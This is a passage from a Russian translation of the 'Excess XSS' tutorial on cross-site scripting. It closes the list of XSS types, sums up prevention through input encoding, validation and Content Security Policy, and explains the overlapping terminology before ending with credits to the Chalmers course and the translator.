      • Отраженные XSS, где вредоносный ввод берет свое начало от запроса жертвы.
      • XSS-атаки в DOM-модели, где уязвимость эксплуатируется в коде на стороне клиента, а не на стороне сервера.
    • Все эти атаки выполняются по-разному, но имеют один и тот же эффект в случае успеха.
    Резюме: Предотвращение XSS
    • Самый важный способ предотвращения XSS атак, это выполнение безопасной обработки ввода.
      • Кодирование должно выполняться всякий раз, когда включен пользовательский ввод на странице.
      • В некоторых случаях кодирование должно быть заменено или дополнено валидацией.
      • Безопасная обработка ввода должна учитывать в какой контекст страницы вставляется пользовательский ввод.
      • Для того, чтобы предотвратить все виды XSS-атак безопасная обработка ввода должна выполнятся в коде как на стороне клиента, так и на стороне сервера.
    • Политики Безопасности Контента (CSP) обеспечивают дополнительный уровень защиты в случае если безопасная обработка ввода содержит ошибку.
    Приложение Терминология

    Следует отметить, что существует перекрестие в терминологии используемой для описания XSS: XSS-атака в DOM-модели может быть либо хранимой либо отраженной; это не отдельные виды атак. Не существует общепринятой терминологии, которая охватывает все типы XSS без смешивания. Независимо от терминологии используемой для описания XSS, самое главное определить тип атаки, это возможно если знать от куда поступает вредоносный ввод и где находится уязвимость.

    Права использования и ссылки

    The source code for Excess XSS is available on GitHub .

    Excess XSS was created in 2013 as part of the Language-Based Security course at Chalmers University of Technology .

    Перевод на русский язык выполнил A888R , оригинальный текст на английском языке: excess-xss.com , замечания, предложения и ошибки в переводе слать сюда .